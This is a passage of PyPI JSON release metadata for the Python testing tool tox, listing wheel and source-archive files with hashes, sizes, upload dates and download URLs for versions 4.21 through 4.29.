e78583fe5956655ab6fd85491aa80d3a7314fdbb8d87f1c7b25/tox-4.21.0.tar.gz","yanked":false,"yanked_reason":null}],"4.21.1":[{"comment_text":"","core-metadata":{"sha256":"372328ce1452712ef3ed61f4eb20c5a1b7c60181a29f3949d3544e5c972fe95a"},"digests":{"blake2b_256":"c0c3d26b85bce2818baa0887eb1e993dd27067c17390fbe733cc89c45947749c","md5":"edb36c2baf054637dfbb330744d22465","sha256":"092bbdcfeabc824db621dab5be9f0866a34a0a4fc874e9746bf04c0d5462d78b"},"downloads":-1,"filename":"tox-4.21.1-py3-none-any.whl","has_sig":false,"md5_digest":"edb36c2baf054637dfbb330744d22465","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.8","size":165699,"upload_time":"2024-10-02T20:59:49","upload_time_iso_8601":"2024-10-02T20:59:49.285541Z","url":"https://files.pythonhosted.org/packages/c0/c3/d26b85bce2818baa0887eb1e993dd27067c17390fbe733cc89c45947749c/tox-4.21.1-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"dd8743f81f0bfd65fcc7fbec3ccb0cb2de111f3cf6d33a031021738291700039","md5":"631c62f184de7002d47b69a1fe384a53","sha256":"b2ce4222772693b302d75e2e4f7727d67bb60925d740479bb09845098562589f"},"downloads":-1,"filename":"tox-4.21.1.tar.gz","has_sig":false,"md5_digest":"631c62f184de7002d47b69a1fe384a53","packagetype":"sdist","python_version":"source","requires_python":">=3.8","size":187338,"upload_time":"2024-10-02T20:59:50","upload_time_iso_8601":"2024-10-02T20:59:50.975439Z","url":"https://files.pythonhosted.org/packages/dd/87/43f81f0bfd65fcc7fbec3ccb0cb2de111f3cf6d33a031021738291700039/tox-4.21.1.tar.gz","yanked":false,"yanked_reason":null}],"4.21.2":[{"comment_text":"","core-metadata":{"sha256":"ec2f48898317aa5bf068ec2fcc50c22cb55c898f6416d5cb4f3e8d8062550e63"},"digests":{"blake2b_256":"f820168300f3f334e255b618322dce14b86a5c423aab05f28be14d1a2d6af14a","md5":"c9ffc2d183c21dab22307ef12ac73cee","sha256":"13d996adcd792e7c82994b0e116d85efd84f0c6d185254d83d156f73f86b2038"},"downloads":-1,"filename":"tox-4.21.2-py3-none-any.whl","has_sig":false,"md5_digest":"c9ffc2d183c21dab22307ef12ac73cee","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.8","size":165698,"upload_time":"2024-10-03T15:21:10","upload_time_iso_8601":"2024-10-03T15:21:10.448703Z","url":"https://files.pythonhosted.org/packages/f8/20/168300f3f334e255b618322dce14b86a5c423aab05f28be14d1a2d6af14a/tox-4.21.2-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"2adbba5b1a4cf664f221a33c3cbb1adf40ccccbbd13f5eec6d9d7291c7a39e44","md5":"eaec2fe1f9127ad0ed45edf3177a841b","sha256":"49381ff102296753e378fa5ff30e42a35e695f149b4dbf8a2c49d15fdb5797b2"},"downloads":-1,"filename":"tox-4.21.2.tar.gz","has_sig":false,"md5_digest":"eaec2fe1f9127ad0ed45edf3177a841b","packagetype":"sdist","python_version":"source","requires_python":">=3.8","size":188539,"upload_time":"2024-10-03T15:21:13","upload_time_iso_8601":"2024-10-03T15:21:13.190644Z","url":"https://files.pythonhosted.org/packages/2a/db/ba5b1a4cf664f221a33c3cbb1adf40ccccbbd13f5eec6d9d7291c7a39e44/tox-4.21.2.tar.gz","yanked":false,"yanked_reason":null}],"4.22.0":[{"comment_text":"","core-metadata":{"sha256":"7b10c60beb4e17432a4a653cfa727892cd4ffd581810c57eb2662f6df1a47888"},"digests":{"blake2b_256":"78601da066bd2e3871a9ca078faf7f9e70a8a6d500840566acbcc94e1a3eaa05","md5":"ca605a81e8ec40a212d0db1e903144df","sha256":"03734d9a9ac138cd1a898a372fb1b8079e2728618ae06dc37cbf3686cfb56eea"},"downloads":-1,"filename":"tox-4.22.0-py3-none-any.whl","has_sig":false,"md5_digest":"ca605a81e8ec40a212d0db1e903144df","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.8","size":166678,"upload_time":"2024-10-15T18:59:19","upload_time_iso_8601":"2024-10-15T18:59:19.201355Z","url":"https://files.pythonhosted.org/packages/78/60/1da066bd2e3871a9ca078faf7f9e70a8a6d500840566acbcc94e1a3eaa05/tox-4.22.0-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"7d35c9a296b276c594b59dbdf71a7b9ad8a4d10f08c86b4696e399cc619ac1a7","md5":"6e0b852854faf367dfc0617a27d9ae18","sha256":"acc6c627cb3316585238d55d2b633e132fea1bdb01b9d93b56bce7caea6ae73d"},"downloads":-1,"filename":"tox-4.22.0.tar.gz","has_sig":false,"md5_digest":"6e0b852854faf367dfc0617a27d9ae18","packagetype":"sdist","python_version":"source","requires_python":">=3.8","size":189907,"upload_time":"2024-10-15T18:59:21","upload_time_iso_8601":"2024-10-15T18:59:21.077361Z","url":"https://files.pythonhosted.org/packages/7d/35/c9a296b276c594b59dbdf71a7b9ad8a4d10f08c86b4696e399cc619ac1a7/tox-4.22.0.tar.gz","yanked":false,"yanked_reason":null}],"4.23.0":[{"comment_text":"","core-metadata":{"sha256":"dc69930cb501b918f6126372d4814dcc2bc087e1d0176a57bf9b52d4f217d954"},"digests":{"blake2b_256":"af08cd2699bfcad64806eaef3516d27a03108353f973aea2559c80a40d7ed5d3","md5":"e70385015f71ee0d096c9af302f85788","sha256":"46da40afb660e46238c251280eb910bdaf00b390c7557c8e4bb611f422e9db12"},"downloads":-1,"filename":"tox-4.23.0-py3-none-any.whl","has_sig":false,"md5_digest":"e70385015f71ee0d096c9af302f85788","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.8","size":166702,"upload_time":"2024-10-17T03:43:26","upload_time_iso_8601":"2024-10-17T03:43:26.824438Z","url":"https://files.pythonhosted.org/packages/af/08/cd2699bfcad64806eaef3516d27a03108353f973aea2559c80a40d7ed5d3/tox-4.23.0-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"d640559622c78758a041c2e62fe2f753d4570d3bfbfbe985266bd25ddb3e696d","md5":"e0a28bf62dd281a00958507a0956f3ed","sha256":"a6bd7d54231d755348d3c3a7b450b5bf6563833716d1299a1619587a1b77a3bf"},"downloads":-1,"filename":"tox-4.23.0.tar.gz","has_sig":false,"md5_digest":"e0a28bf62dd281a00958507a0956f3ed","packagetype":"sdist","python_version":"source","requires_python":">=3.8","size":189943,"upload_time":"2024-10-17T03:43:29","upload_time_iso_8601":"2024-10-17T03:43:29.471061Z","url":"https://files.pythonhosted.org/packages/d6/40/559622c78758a041c2e62fe2f753d4570d3bfbfbe985266bd25ddb3e696d/tox-4.23.0.tar.gz","yanked":false,"yanked_reason":null}],"4.23.1":[{"comment_text":"","core-metadata":{"sha256":"2996052efdaa2b1f76f1d011e7867f57414998cc9e6c1412ff4aa4ba95b3e73f"},"digests":{"blake2b_256":"492d67ff628f0d387348e1e40509daa289118bcfe2ca6b09634088ccf9714757","md5":"1b3d0aa6f75db6a4eb20a57bd9c93d48","sha256":"1a7947c010c4fb12cc84a414ab8b93e1119b6249fd881f65b1650f759fadbf0c"},"downloads":-1,"filename":"tox-4.23.1-py3-none-any.whl","has_sig":false,"md5_digest":"1b3d0aa6f75db6a4eb20a57bd9c93d48","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.8","size":166703,"upload_time":"2024-10-22T05:41:35","upload_time_iso_8601":"2024-10-22T05:41:35.242206Z","url":"https://files.pythonhosted.org/packages/49/2d/67ff628f0d387348e1e40509daa289118bcfe2ca6b09634088ccf9714757/tox-4.23.1-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"4b2e57b4c79507f8278a6ed1a8afc8e609a1927bd9cc5b2f0dabfc8b67a257fd","md5":"1472d95e6750901d15507cdd087be1aa","sha256":"dc128e1bacddf993179a120ddfc7db2f8cda7fb67c8c4bf229a716d685f23f2f"},"downloads":-1,"filename":"tox-4.23.1.tar.gz","has_sig":false,"md5_digest":"1472d95e6750901d15507cdd087be1aa","packagetype":"sdist","python_version":"source","requires_python":">=3.8","size":189945,"upload_time":"2024-10-22T05:41:37","upload_time_iso_8601":"2024-10-22T05:41:37.526403Z","url":"https://files.pythonhosted.org/packages/4b/2e/57b4c79507f8278a6ed1a8afc8e609a1927bd9cc5b2f0dabfc8b67a257fd/tox-4.23.1.tar.gz","yanked":false,"yanked_reason":null}],"4.23.2":[{"comment_text":"","core-metadata":{"sha256":"50790ea38d7163d3386c2e2901f25e178e6dea4aab4b627dacc83c7319f5cfba"},"digests":{"blake2b_256":"afc0124b73d01c120e917383bc6c53ebc34efdf7243faa9fca64d105c94cf2ab","md5":"f41c8c56c393614fca787e8cfd3e691a","sha256":"452bc32bb031f2282881a2118923176445bac783ab97c874b8770ab4c3b76c38"},"downloads":-1,"filename":"tox-4.23.2-py3-none-any.whl","has_sig":false,"md5_digest":"f41c8c56c393614fca787e8cfd3e691a","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.8","size":166758,"upload_time":"2024-10-22T14:29:02","upload_time_iso_8601":"2024-10-22T14:29:02.087759Z","url":"https://files.pythonhosted.org/packages/af/c0/124b73d01c120e917383bc6c53ebc34efdf7243faa9fca64d105c94cf2ab/tox-4.23.2-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"1f8632b10f91b4b975a37ac402b0f9fa016775088e0565c93602ba0b3c729ce8","md5":"af5d3a8b819258978d8daad4984627e7","sha256":"86075e00e555df6e82e74cfc333917f91ecb47ffbc868dcafbd2672e332f4a2c"},"downloads":-1,"filename":"tox-4.23.2.tar.gz","has_sig":false,"md5_digest":"af5d3a8b819258978d8daad4984627e7","packagetype":"sdist","python_version":"source","requires_python":">=3.8","size":189998,"upload_time":"2024-10-22T14:29:04","upload_time_iso_8601":"2024-10-22T14:29:04.460737Z","url":"https://files.pythonhosted.org/packages/1f/86/32b10f91b4b975a37ac402b0f9fa016775088e0565c93602ba0b3c729ce8/tox-4.23.2.tar.gz","yanked":false,"yanked_reason":null}],"4.24.0":[{"comment_text":"","core-metadata":{"sha256":"74522dabd79cfd11fe4ac72cf2381a581efdd89c7fa4aded4e70745a85307111"},"digests":{"blake2b_256":"0cf895d7bc786c89fa6520beda59185bce6c2210aaa0ea7013026447a2e2d01c","md5":"0cd4db216bc962e9be478824c001c60d","sha256":"75f78d318b1157585dc6b92bb5256457fdeadf66d33c6401766085d069d547dc"},"downloads":-1,"filename":"tox-4.24.0-py3-none-any.whl","has_sig":false,"md5_digest":"0cd4db216bc962e9be478824c001c60d","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.8","size":171659,"upload_time":"2025-01-21T18:20:05","upload_time_iso_8601":"2025-01-21T18:20:05.458139Z","url":"https://files.pythonhosted.org/packages/0c/f8/95d7bc786c89fa6520beda59185bce6c2210aaa0ea7013026447a2e2d01c/tox-4.24.0-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"10f63663fe86466b146f739e0bc64872773c34fb01e77f27895a9da96a37fceb","md5":"ca074a05b120d2ebb0765a8c0a4b879f","sha256":"c0adb3968be110a10dc3b6e8f07c1135f450db2f1d9a94476ff10910fa8fd755"},"downloads":-1,"filename":"tox-4.24.0.tar.gz","has_sig":false,"md5_digest":"ca074a05b120d2ebb0765a8c0a4b879f","packagetype":"sdist","python_version":"source","requires_python":">=3.8","size":194481,"upload_time":"2025-01-21T18:20:08","upload_time_iso_8601":"2025-01-21T18:20:08.109038Z","url":"https://files.pythonhosted.org/packages/10/f6/3663fe86466b146f739e0bc64872773c34fb01e77f27895a9da96a37fceb/tox-4.24.0.tar.gz","yanked":false,"yanked_reason":null}],"4.24.1":[{"comment_text":"","core-metadata":{"sha256":"9e7ec0e7a15fa4d9a7bdfbacae5194b3c36e099ce962c95b7c155103e8a3405a"},"digests":{"blake2b_256":"ab04b0d1c1b44c98583cab9eabb4acdba964fdf6b6c597c53cfb8870fd08cbbf","md5":"0a244073cd4b1b2fbce40607cd4085be","sha256":"57ba7df7d199002c6df8c2db9e6484f3de6ca8f42013c083ea2d4d1e5c6bdc75"},"downloads":-1,"filename":"tox-4.24.1-py3-none-any.whl","has_sig":false,"md5_digest":"0a244073cd4b1b2fbce40607cd4085be","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.8","size":171829,"upload_time":"2025-01-21T18:58:39","upload_time_iso_8601":"2025-01-21T18:58:39.799074Z","url":"https://files.pythonhosted.org/packages/ab/04/b0d1c1b44c98583cab9eabb4acdba964fdf6b6c597c53cfb8870fd08cbbf/tox-4.24.1-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"cf7b97f757e159983737bdd8fb513f4c263cd411a846684814ed5433434a1fa9","md5":"cf92c2e1c0500c625baf336e2efe1ddc","sha256":"083a720adbc6166fff0b7d1df9d154f9d00bfccb9403b8abf6bc0ee435d6a62e"},"downloads":-1,"filename":"tox-4.24.1.tar.gz","has_sig":false,"md5_digest":"cf92c2e1c0500c625baf336e2efe1ddc","packagetype":"sdist","python_version":"source","requires_python":">=3.8","size":194742,"upload_time":"2025-01-21T18:58:43","upload_time_iso_8601":"2025-01-21T18:58:43.742618Z","url":"https://files.pythonhosted.org/packages/cf/7b/97f757e159983737bdd8fb513f4c263cd411a846684814ed5433434a1fa9/tox-4.24.1.tar.gz","yanked":false,"yanked_reason":null}],"4.24.2":[{"comment_text":null,"core-metadata":{"sha256":"d56d13d0e78c7acf07b3b311a9522b34d41b95a3871eb71c9723d5c0b9aacdf3"},"digests":{"blake2b_256":"7bebf7e6e77a664a96163cc1e7f9829f2e01b5b99aeb1edf0cdf1cd95859f310","md5":"b220e12f9bb3d37a291ef86a5d117447","sha256":"92e8290e76ad4e15748860a205865696409a2d014eedeb796a34a0f3b5e7336e"},"downloads":-1,"filename":"tox-4.24.2-py3-none-any.whl","has_sig":false,"md5_digest":"b220e12f9bb3d37a291ef86a5d117447","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.8","size":172155,"upload_time":"2025-03-07T18:34:41","upload_time_iso_8601":"2025-03-07T18:34:41.385717Z","url":"https://files.pythonhosted.org/packages/7b/eb/f7e6e77a664a96163cc1e7f9829f2e01b5b99aeb1edf0cdf1cd95859f310/tox-4.24.2-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":null,"core-metadata":false,"digests":{"blake2b_256":"519330e4d662748d8451acde46feca03886b85bd74a453691d56abc44ef4bd37","md5":"a984de2e2b34da98ec42ce5d759290bf","sha256":"d5948b350f76fae436d6545a5e87c2b676ab7a0d7d88c1308651245eadbe8aea"},"downloads":-1,"filename":"tox-4.24.2.tar.gz","has_sig":false,"md5_digest":"a984de2e2b34da98ec42ce5d759290bf","packagetype":"sdist","python_version":"source","requires_python":">=3.8","size":195354,"upload_time":"2025-03-07T18:34:43","upload_time_iso_8601":"2025-03-07T18:34:43.311207Z","url":"https://files.pythonhosted.org/packages/51/93/30e4d662748d8451acde46feca03886b85bd74a453691d56abc44ef4bd37/tox-4.24.2.tar.gz","yanked":false,"yanked_reason":null}],"4.25.0":[{"comment_text":null,"core-metadata":{"sha256":"a39c2aae96c0b60a24247662284ef7f6188f5e9d05ffc696e8d9d42dff821890"},"digests":{"blake2b_256":"f93833348de6fc4b1afb3d76d8485c8aecbdabcfb3af8da53d40c792332e2b37","md5":"3ef09ff7f6ea34121ad522eae81f9b2b","sha256":"4dfdc7ba2cc6fdc6688dde1b21e7b46ff6c41795fb54586c91a3533317b5255c"},"downloads":-1,"filename":"tox-4.25.0-py3-none-any.whl","has_sig":false,"md5_digest":"3ef09ff7f6ea34121ad522eae81f9b2b","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.8","size":172420,"upload_time":"2025-03-27T15:13:35","upload_time_iso_8601":"2025-03-27T15:13:35.703921Z","url":"https://files.pythonhosted.org/packages/f9/38/33348de6fc4b1afb3d76d8485c8aecbdabcfb3af8da53d40c792332e2b37/tox-4.25.0-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":null,"core-metadata":false,"digests":{"blake2b_256":"fe87692478f0a194f1cad64803692642bd88c12c5b64eee16bf178e4a32e979c","md5":"8da662b8619bb9960d4b17cb06d713ae","sha256":"dd67f030317b80722cf52b246ff42aafd3ed27ddf331c415612d084304cf5e52"},"downloads":-1,"filename":"tox-4.25.0.tar.gz","has_sig":false,"md5_digest":"8da662b8619bb9960d4b17cb06d713ae","packagetype":"sdist","python_version":"source","requires_python":">=3.8","size":196255,"upload_time":"2025-03-27T15:13:37","upload_time_iso_8601":"2025-03-27T15:13:37.519960Z","url":"https://files.pythonhosted.org/packages/fe/87/692478f0a194f1cad64803692642bd88c12c5b64eee16bf178e4a32e979c/tox-4.25.0.tar.gz","yanked":false,"yanked_reason":null}],"4.26.0":[{"comment_text":null,"core-metadata":{"sha256":"2b59b7d411aa10de48de2f26add08da79f91cafb514d527fe480b7846ae80220"},"digests":{"blake2b_256":"de14f58b4087cf248b18c795b5c838c7a8d1428dfb07cb468dad3ec7f54041ab","md5":"4b93dcc961102e4cc4b50f9c615e826c","sha256":"75f17aaf09face9b97bd41645028d9f722301e912be8b4c65a3f938024560224"},"downloads":-1,"filename":"tox-4.26.0-py3-none-any.whl","has_sig":false,"md5_digest":"4b93dcc961102e4cc4b50f9c615e826c","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.9","size":172761,"upload_time":"2025-05-13T15:04:26","upload_time_iso_8601":"2025-05-13T15:04:26.207716Z","url":"https://files.pythonhosted.org/packages/de/14/f58b4087cf248b18c795b5c838c7a8d1428dfb07cb468dad3ec7f54041ab/tox-4.26.0-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":null,"core-metadata":false,"digests":{"blake2b_256":"fd3cdcec0c00321a107f7f697fd00754c5112572ea6dcacb40b16d8c3eea7c37","md5":"614766536a8dc9a9d9b5f3b80e773ca2","sha256":"a83b3b67b0159fa58e44e646505079e35a43317a62d2ae94725e0586266faeca"},"downloads":-1,"filename":"tox-4.26.0.tar.gz","has_sig":false,"md5_digest":"614766536a8dc9a9d9b5f3b80e773ca2","packagetype":"sdist","python_version":"source","requires_python":">=3.9","size":197260,"upload_time":"2025-05-13T15:04:28","upload_time_iso_8601":"2025-05-13T15:04:28.481153Z","url":"https://files.pythonhosted.org/packages/fd/3c/dcec0c00321a107f7f697fd00754c5112572ea6dcacb40b16d8c3eea7c37/tox-4.26.0.tar.gz","yanked":false,"yanked_reason":null}],"4.27.0":[{"comment_text":null,"core-metadata":{"sha256":"452b1855cbbc588e6c1b1a8fed292a823e4fbb44639f637aedcc9b9e4100ed0d"},"digests":{"blake2b_256":"c13a30889167f41ecaffb957ec4409e1cbc1d5d558a5bbbdfb734a5b9911930f","md5":"a218921f16ea2b0a2f87ad6b999aada4","sha256":"2b8a7fb986b82aa2c830c0615082a490d134e0626dbc9189986da46a313c4f20"},"downloads":-1,"filename":"tox-4.27.0-py3-none-any.whl","has_sig":false,"md5_digest":"a218921f16ea2b0a2f87ad6b999aada4","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.9","size":173441,"upload_time":"2025-06-17T15:17:48","upload_time_iso_8601":"2025-06-17T15:17:48.689167Z","url":"https://files.pythonhosted.org/packages/c1/3a/30889167f41ecaffb957ec4409e1cbc1d5d558a5bbbdfb734a5b9911930f/tox-4.27.0-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":null,"core-metadata":false,"digests":{"blake2b_256":"a5b719c01717747076f63c54d871ada081cd711a7c9a7572f2225675c3858b94","md5":"c963a0ec4c3ac1cbcdf14d7e7daa5da5","sha256":"b97d5ecc0c0d5755bcc5348387fef793e1bfa68eb33746412f4c60881d7f5f57"},"downloads":-1,"filename":"tox-4.27.0.tar.gz","has_sig":false,"md5_digest":"c963a0ec4c3ac1cbcdf14d7e7daa5da5","packagetype":"sdist","python_version":"source","requires_python":">=3.9","size":198351,"upload_time":"2025-06-17T15:17:50","upload_time_iso_8601":"2025-06-17T15:17:50.585475Z","url":"https://files.pythonhosted.org/packages/a5/b7/19c01717747076f63c54d871ada081cd711a7c9a7572f2225675c3858b94/tox-4.27.0.tar.gz","yanked":false,"yanked_reason":null}],"4.28.0":[{"comment_text":null,"core-metadata":{"sha256":"6fec19b73da3baf12ac433c7fd9a7ec5907cd251791ce4daa2768312f7d37e40"},"digests":{"blake2b_256":"bedf7f962b921f4efa414ad06f2abc665eff379c62ee46b959779381209e2e72","md5":"34bef1bd973f58cb83adf9f6b8a1bd27","sha256":"3e2f5c0a00523a58666690108b66820150f6435cb6e4dd95caf21bb52133c1d1"},"downloads":-1,"filename":"tox-4.28.0-py3-none-any.whl","has_sig":false,"md5_digest":"34bef1bd973f58cb83adf9f6b8a1bd27","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.9","size":173883,"upload_time":"2025-07-20T18:25:49","upload_time_iso_8601":"2025-07-20T18:25:49.934029Z","url":"https://files.pythonhosted.org/packages/be/df/7f962b921f4efa414ad06f2abc665eff379c62ee46b959779381209e2e72/tox-4.28.0-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":null,"core-metadata":false,"digests":{"blake2b_256":"983d2efc68c86b2879b0abdf0d07839da47026489dca424a11379277a40fc67c","md5":"5c83529d98fc4e95878b9823502d0cc6","sha256":"442347b1a415733850f097e7e78b8c5f38b5e1719f8b7205aade5d055f08068c"},"downloads":-1,"filename":"tox-4.28.0.tar.gz","has_sig":false,"md5_digest":"5c83529d98fc4e95878b9823502d0cc6","packagetype":"sdist","python_version":"source","requires_python":">=3.9","size":199516,"upload_time":"2025-07-20T18:25:51","upload_time_iso_8601":"2025-07-20T18:25:51.975060Z","url":"https://files.pythonhosted.org/packages/98/3d/2efc68c86b2879b0abdf0d07839da47026489dca424a11379277a40fc67c/tox-4.28.0.tar.gz","yanked":false,"yanked_reason":null}],"4.28.1":[{"comment_text":null,"core-metadata":{"sha256":"9ffdeb3f86b7c80e84eb50125e52b7410047031159bb2fbf22e1dd6b5553e5a6"},"digests":{"blake2b_256":"b9600ba9aa30a0a3d0faaebeadd9c847812a929416a4acda50d92c7079a9ec00","md5":"bc4c3fc2b33cdc0ae6ca0f85e1ba4798","sha256":"d5c84de6efc5d7e8acadb09528943e87ee501a35e064cf852082bc600485c13d"},"downloads":-1,"filename":"tox-4.28.1-py3-none-any.whl","has_sig":false,"md5_digest":"bc4c3fc2b33cdc0ae6ca0f85e1ba4798","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.9","size":173973,"upload_time":"2025-07-23T06:16:37","upload_time_iso_8601":"2025-07-23T06:16:37.540080Z","url":"https://files.pythonhosted.org/packages/b9/60/0ba9aa30a0a3d0faaebeadd9c847812a929416a4acda50d92c7079a9ec00/tox-4.28.1-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":null,"core-metadata":false,"digests":{"blake2b_256":"2ca36fdc3f17aad7f2971739c6efc537a692d619c54acb224d90e62733346a60","md5":"681d9677f5b6bca8ff5479fb0d67710b","sha256":"227ce1fdfea7763107aed3a8ac87d74b1bd1240ad7dd9c37fc2cb2b318006520"},"downloads":-1,"filename":"tox-4.28.1.tar.gz","has_sig":false,"md5_digest":"681d9677f5b6bca8ff5479fb0d67710b","packagetype":"sdist","python_version":"source","requires_python":">=3.9","size":199598,"upload_time":"2025-07-23T06:16:39","upload_time_iso_8601":"2025-07-23T06:16:39.555126Z","url":"https://files.pythonhosted.org/packages/2c/a3/6fdc3f17aad7f2971739c6efc537a692d619c54acb224d90e62733346a60/tox-4.28.1.tar.gz","yanked":false,"yanked_reason":null}],"4.28.2":[{"comment_text":null,"core-metadata":{"sha256":"ed317ca4b54d0fdc091024fe193f023cae2c925de364b046868c2338120dab3a"},"digests":{"blake2b_256":"3d8d9152ec97a630fb36943281d84aab4339f6ffbc47c34fb63fa6f546295c45","md5":"1dd9f567d465dc6ae2f813766c8ce8cd","sha256":"9d8372a26cb4aad8f2671ebd4c46a8109cb51be7c8111965e7ae197312250658"},"downloads":-1,"filename":"tox-4.28.2-py3-none-any.whl","has_sig":false,"md5_digest":"1dd9f567d465dc6ae2f813766c8ce8cd","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.9","size":174014,"upload_time":"2025-07-25T18:10:51","upload_time_iso_8601":"2025-07-25T18:10:51.396760Z","url":"https://files.pythonhosted.org/packages/3d/8d/9152ec97a630fb36943281d84aab4339f6ffbc47c34fb63fa6f546295c45/tox-4.28.2-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":null,"core-metadata":false,"digests":{"blake2b_256":"d06aa7cdde8107dfbf6bcb80f6d5c9a4b5d00418f385bac1fd93ec346cb77466","md5":"b48a424f54f2a828b12ed9b8ced355a9","sha256":"895c74a3857a9cff6f142363dbd3735f6d66a72c0c315e91b6c9a2980a842ce3"},"downloads":-1,"filename":"tox-4.28.2.tar.gz","has_sig":false,"md5_digest":"b48a424f54f2a828b12ed9b8ced355a9","packagetype":"sdist","python_version":"source","requires_python":">=3.9","size":199615,"upload_time":"2025-07-25T18:10:53","upload_time_iso_8601":"2025-07-25T18:10:53.534690Z","url":"https://files.pythonhosted.org/packages/d0/6a/a7cdde8107dfbf6bcb80f6d5c9a4b5d00418f385bac1fd93ec346cb77466/tox-4.28.2.tar.gz","yanked":false,"yanked_reason":null}],"4.28.3":[{"comment_text":null,"core-metadata":{"sha256":"848a9919a5345c0bec82b5f8d093aa8e08fced2bc93f5472878846ed17ddf48d"},"digests":{"blake2b_256":"5114bc4935af126b676334ace4c44f451fa4f4a8b2dcfec75b11929d0aff8b3f","md5":"d149ef9f412cbd821c11e6b61bcf23a3","sha256":"1debe9daf0b7e64d425ef99a17292b0792385686b1d541df34c7298211e99269"},"downloads":-1,"filename":"tox-4.28.3-py3-none-any.whl","has_sig":false,"md5_digest":"d149ef9f412cbd821c11e6b61bcf23a3","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.9","size":174011,"upload_time":"2025-07-26T00:45:57","upload_time_iso_8601":"2025-07-26T00:45:57.474079Z","url":"https://files.pythonhosted.org/packages/51/14/bc4935af126b676334ace4c44f451fa4f4a8b2dcfec75b11929d0aff8b3f/tox-4.28.3-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":null,"core-metadata":false,"digests":{"blake2b_256":"22ca9114e959d8b18f891327b58346a7b6ed6fc71815504fb2f3773dd5950b14","md5":"58177c46d0f12c66822cf743c31866b4","sha256":"b91db7219e5242002cf4040a299c8852026d6af35fcd21274d456fb62dafee7b"},"downloads":-1,"filename":"tox-4.28.3.tar.gz","has_sig":false,"md5_digest":"58177c46d0f12c66822cf743c31866b4","packagetype":"sdist","python_version":"source","requires_python":">=3.9","size":199617,"upload_time":"2025-07-26T00:45:59","upload_time_iso_8601":"2025-07-26T00:45:59.340089Z","url":"https://files.pythonhosted.org/packages/22/ca/9114e959d8b18f891327b58346a7b6ed6fc71815504fb2f3773dd5950b14/tox-4.28.3.tar.gz","yanked":false,"yanked_reason":null}],"4.28.4":[{"comment_text":null,"core-metadata":{"sha256":"f51fba53544b0ca449fd8fd9c669cf7560e1fc96671c7eb12a5e852033034718"},"digests":{"blake2b_256":"fe54564a33093e41a585e2e997220986182c037bc998abf03a0eb4a7a67c4eff","md5":"fd582e8bcb6e5aca1fdb41f4e322c4a5","sha256":"8d4ad9ee916ebbb59272bb045e154a10fa12e3bbdcf94cc5185cbdaf9b241f99"},"downloads":-1,"filename":"tox-4.28.4-py3-none-any.whl","has_sig":false,"md5_digest":"fd582e8bcb6e5aca1fdb41f4e322c4a5","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.9","size":174058,"upload_time":"2025-07-31T21:20:24","upload_time_iso_8601":"2025-07-31T21:20:24.836679Z","url":"https://files.pythonhosted.org/packages/fe/54/564a33093e41a585e2e997220986182c037bc998abf03a0eb4a7a67c4eff/tox-4.28.4-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":null,"core-metadata":false,"digests":{"blake2b_256":"cf01321c98e3cc584fd101d869c85be2a8236a41a84842bc6af5c078b10c2126","md5":"3ff4f5a5689cd67077e309bcec2080f4","sha256":"b5b14c6307bd8994ff1eba5074275826620325ee1a4f61316959d562bfd70b9d"},"downloads":-1,"filename":"tox-4.28.4.tar.gz","has_sig":false,"md5_digest":"3ff4f5a5689cd67077e309bcec2080f4","packagetype":"sdist","python_version":"source","requires_python":">=3.9","size":199692,"upload_time":"2025-07-31T21:20:26","upload_time_iso_8601":"2025-07-31T21:20:26.600279Z","url":"https://files.pythonhosted.org/packages/cf/01/321c98e3cc584fd101d869c85be2a8236a41a84842bc6af5c078b10c2126/tox-4.28.4.tar.gz","yanked":false,"yanked_reason":null}],"4.29.0":[{"comment_text":null,"core-metadata":{"sha256":"070e71fe117aac84dadd21a8a355e46f9426c2efb1634a560b4027375625fc2d"},"digests":{"blake2b_256":"60cbf8bb9ea02047cc8c2d5881b4fb332d0ce067e91e5f10925b87176915c718","md5":"6fb994518f4f045a6fcd4eb156d6b43a","sha256":"b914f134176cea74c5e01c29cb4befc8afa4cd38b356c3756eff85832d27b5c0"},"downloads":-1,"filename":"tox-4.29.0-py3-none-any.whl","has_sig":false,"md5_digest":"6fb994518f4f045a6fcd4eb156d6b43a","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.9","size":174731,"upload_time":"2025-08-29T22:32:01","upload_time